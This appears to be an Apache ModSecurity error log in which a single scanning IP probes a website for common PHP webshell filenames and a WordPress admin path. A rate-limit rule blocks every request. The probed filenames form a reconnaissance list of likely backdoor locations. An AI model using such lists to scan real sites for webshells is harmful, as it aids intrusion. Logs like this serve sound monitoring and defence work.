[Sat Apr 25 09:58:20.257916 2026] [:error] [pid 46083:tid 46103] [client 51.107.77.218:65160] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aewfvDxw_Zq74vWdjmmUZQAAARA"]
[Sat Apr 25 09:58:21.045282 2026] [:error] [pid 46083:tid 46098] [client 51.107.77.218:65181] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aewfvTxw_Zq74vWdjmmUeAAAAQs"]
[Sat Apr 25 09:58:22.632948 2026] [:error] [pid 44321:tid 44406] [client 51.107.77.218:64677] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "aewfvo1b5lV-asWa_Y5byAAAAJc"]
[Sat Apr 25 09:58:23.208343 2026] [:error] [pid 44321:tid 44386] [client 51.107.77.218:64709] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "aewfv41b5lV-asWa_Y5bygAAAIM"]
[Sat Apr 25 09:58:23.944529 2026] [:error] [pid 44320:tid 44375] [client 51.107.77.218:5413] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "aewfvzmFqSpku_dij8ibhwAAAFM"]
[Sat Apr 25 09:58:24.989003 2026] [:error] [pid 44321:tid 44395] [client 51.107.77.218:64742] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "aewfwI1b5lV-asWa_Y5bzAAAAIw"]
[Sat Apr 25 09:58:25.656819 2026] [:error] [pid 44425:tid 44445] [client 51.107.77.218:63634] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "aewfwSUl-VlItvY2tR9OeAAAANI"]
[Sat Apr 25 09:58:26.454025 2026] [:error] [pid 44321:tid 44390] [client 51.107.77.218:47493] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "aewfwo1b5lV-asWa_Y5bzwAAAIc"]
[Sat Apr 25 09:58:27.017827 2026] [:error] [pid 44320:tid 44367] [client 51.107.77.218:64714] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "aewfwzmFqSpku_dij8ibjAAAAEs"]
[Sat Apr 25 09:58:28.288793 2026] [:error] [pid 46083:tid 46094] [client 51.107.77.218:5431] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "aewfxDxw_Zq74vWdjmmUhwAAAQc"]
[Sat Apr 25 09:58:29.329407 2026] [:error] [pid 46083:tid 46109] [client 51.107.77.218:5419] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Jcrop.php"] [unique_id "aewfxTxw_Zq74vWdjmmUiwAAARU"]
[Sat Apr 25 09:58:30.135080 2026] [:error] [pid 44320:tid 44372] [client 51.107.77.218:64755] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Jcrop.php"] [unique_id "aewfxjmFqSpku_dij8ibjgAAAFA"]
[Sat Apr 25 09:58:31.363191 2026] [:error] [pid 46083:tid 46111] [client 51.107.77.218:5442] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Jcrop.php"] [unique_id "aewfxzxw_Zq74vWdjmmUjwAAARc"]
[Sat Apr 25 09:58:32.518570 2026] [:error] [pid 46083:tid 46103] [client 51.107.77.218:64692] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Jcrop.php"] [unique_id "aewfyDxw_Zq74vWdjmmUkwAAARA"]
[Sat Apr 25 09:58:33.193361 2026] [:error] [pid 46083:tid 46089] [client 51.107.77.218:5383] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aewfyTxw_Zq74vWdjmmUlwAAAQI"]
[Sat Apr 25 09:58:34.072823 2026] [:error] [pid 44321:tid 44403] [client 51.107.77.218:64206] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aewfyo1b5lV-asWa_Y5b0wAAAJQ"]
[Sat Apr 25 09:58:34.800121 2026] [:error] [pid 44321:tid 44398] [client 51.107.77.218:5394] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aewfyo1b5lV-asWa_Y5b1gAAAI8"]
[Sat Apr 25 09:58:35.527108 2026] [:error] [pid 44321:tid 44402] [client 51.107.77.218:64217] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aewfy41b5lV-asWa_Y5b2QAAAJM"]
[Sat Apr 25 09:58:36.360124 2026] [:error] [pid 44320:tid 44359] [client 51.107.77.218:63666] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aewfzDmFqSpku_dij8iblgAAAEM"]
[Sat Apr 25 09:58:37.316704 2026] [:error] [pid 44320:tid 44369] [client 51.107.77.218:64252] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aewfzTmFqSpku_dij8iblwAAAE0"]
[Sat Apr 25 09:58:38.224160 2026] [:error] [pid 46083:tid 46088] [client 51.107.77.218:65202] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aewfzjxw_Zq74vWdjmmUoQAAAQE"]
[Sat Apr 25 09:58:39.382155 2026] [:error] [pid 44321:tid 44407] [client 51.107.77.218:64231] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aewfz41b5lV-asWa_Y5b5AAAAJg"]
[Sat Apr 25 09:58:40.488828 2026] [:error] [pid 46083:tid 46088] [client 51.107.77.218:64248] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "aewf0Dxw_Zq74vWdjmmUqQAAAQE"]
[Sat Apr 25 09:58:41.357614 2026] [:error] [pid 46083:tid 46105] [client 51.107.77.218:63623] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "aewf0Txw_Zq74vWdjmmUqwAAARI"]
[Sat Apr 25 09:58:41.982691 2026] [:error] [pid 44425:tid 44443] [client 51.107.77.218:5472] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "aewf0SUl-VlItvY2tR9OiAAAANA"]
[Sat Apr 25 09:58:42.927435 2026] [:error] [pid 44320:tid 44377] [client 51.107.77.218:64210] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "aewf0jmFqSpku_dij8ibmAAAAFU"]
[Sat Apr 25 09:58:44.069191 2026] [:error] [pid 44320:tid 44362] [client 51.107.77.218:63640] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aewf1DmFqSpku_dij8ibmgAAAEY"]
[Sat Apr 25 09:58:45.421454 2026] [:error] [pid 44321:tid 44403] [client 51.107.77.218:5628] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aewf1Y1b5lV-asWa_Y5b6gAAAJQ"]
[Sat Apr 25 09:58:47.306460 2026] [:error] [pid 46083:tid 46105] [client 51.107.77.218:65227] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aewf1zxw_Zq74vWdjmmUvAAAARI"]
[Sat Apr 25 09:58:48.515377 2026] [:error] [pid 46083:tid 46092] [client 51.107.77.218:63675] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aewf2Dxw_Zq74vWdjmmUwAAAAQU"]
[Sat Apr 25 09:58:49.487411 2026] [:error] [pid 46083:tid 46088] [client 51.107.77.218:5398] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aewf2Txw_Zq74vWdjmmUxgAAAQE"]
[Sat Apr 25 09:58:50.269757 2026] [:error] [pid 44319:tid 44353] [client 51.107.77.218:5501] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aewf2szJPAVLUb2pWtJ0cgAAABg"]
[Sat Apr 25 09:58:52.087966 2026] [:error] [pid 44425:tid 44427] [client 51.107.77.218:65167] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aewf3CUl-VlItvY2tR9OkAAAAMA"]
[Sat Apr 25 09:58:52.901865 2026] [:error] [pid 44425:tid 44429] [client 51.107.77.218:65169] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aewf3CUl-VlItvY2tR9OkgAAAMI"]
[Sat Apr 25 09:58:54.105380 2026] [:error] [pid 44321:tid 44395] [client 51.107.77.218:64753] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "aewf3o1b5lV-asWa_Y5b8QAAAIw"]
[Sat Apr 25 09:58:55.133546 2026] [:error] [pid 44319:tid 44340] [client 51.107.77.218:5571] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "aewf38zJPAVLUb2pWtJ0dAAAAAs"]
[Sat Apr 25 09:58:56.282613 2026] [:error] [pid 46083:tid 46112] [client 51.107.77.218:5620] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "aewf4Dxw_Zq74vWdjmmU3QAAARg"]
[Sat Apr 25 09:59:03.539910 2026] [:error] [pid 44320:tid 44380] [client 51.107.77.218:5573] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jk.php"] [unique_id "aewf5zmFqSpku_dij8ibvQAAAFg"]
[Sat Apr 25 09:59:05.323738 2026] [:error] [pid 46083:tid 46096] [client 51.107.77.218:5437] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jk.php"] [unique_id "aewf6Txw_Zq74vWdjmmU6wAAAQk"]
[Sat Apr 25 09:59:06.052292 2026] [:error] [pid 46083:tid 46107] [client 51.107.77.218:64191] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jk.php"] [unique_id "aewf6jxw_Zq74vWdjmmU7QAAARM"]
[Sat Apr 25 09:59:06.921023 2026] [:error] [pid 44321:tid 44389] [client 51.107.77.218:64255] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jk.php"] [unique_id "aewf6o1b5lV-asWa_Y5b-wAAAIY"]
[Sat Apr 25 09:59:07.892421 2026] [:error] [pid 44321:tid 44407] [client 51.107.77.218:65156] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aewf641b5lV-asWa_Y5b_wAAAJg"]
[Sat Apr 25 09:59:09.198367 2026] [:error] [pid 44425:tid 44433] [client 51.107.77.218:5580] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aewf7SUl-VlItvY2tR9OngAAAMY"]
[Sat Apr 25 09:59:10.712875 2026] [:error] [pid 44425:tid 44443] [client 51.107.77.218:64738] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aewf7iUl-VlItvY2tR9OogAAANA"]
[Sat Apr 25 09:59:11.596144 2026] [:error] [pid 44320:tid 44377] [client 51.107.77.218:64227] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aewf7zmFqSpku_dij8ibxgAAAFU"]
[Sat Apr 25 09:59:12.189218 2026] [:error] [pid 46083:tid 46091] [client 51.107.77.218:5619] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aewf8Dxw_Zq74vWdjmmU8gAAAQQ"]
[Sat Apr 25 09:59:13.077769 2026] [:error] [pid 46083:tid 46104] [client 51.107.77.218:5590] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aewf8Txw_Zq74vWdjmmU9QAAARE"]
[Sat Apr 25 09:59:14.713747 2026] [:error] [pid 44320:tid 44371] [client 51.107.77.218:5584] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aewf8jmFqSpku_dij8ibyAAAAE8"]
[Sat Apr 25 09:59:15.370147 2026] [:error] [pid 46083:tid 46095] [client 51.107.77.218:5468] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aewf8zxw_Zq74vWdjmmU9wAAAQg"]
[Sat Apr 25 09:59:15.992882 2026] [:error] [pid 44321:tid 44392] [client 51.107.77.218:5476] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aewf841b5lV-asWa_Y5cBAAAAIk"]
[Sat Apr 25 09:59:16.758205 2026] [:error] [pid 44321:tid 44395] [client 51.107.77.218:63617] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aewf9I1b5lV-asWa_Y5cBgAAAIw"]
[Sat Apr 25 09:59:17.773778 2026] [:error] [pid 46083:tid 46090] [client 51.107.77.218:5409] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aewf9Txw_Zq74vWdjmmU_QAAAQM"]
[Sat Apr 25 09:59:18.448117 2026] [:error] [pid 46083:tid 46091] [client 51.107.77.218:64727] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aewf9jxw_Zq74vWdjmmVAAAAAQQ"]
[Sat Apr 25 09:59:19.220709 2026] [:error] [pid 44425:tid 44443] [client 51.107.77.218:63644] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aewf9yUl-VlItvY2tR9OrgAAANA"]
[Sat Apr 25 09:59:20.090686 2026] [:error] [pid 46083:tid 46103] [client 51.107.77.218:61203] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aewf-Dxw_Zq74vWdjmmVBwAAARA"]
[Sat Apr 25 09:59:20.948062 2026] [:error] [pid 44425:tid 44435] [client 51.107.77.218:5481] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aewf-CUl-VlItvY2tR9OsgAAAMg"]
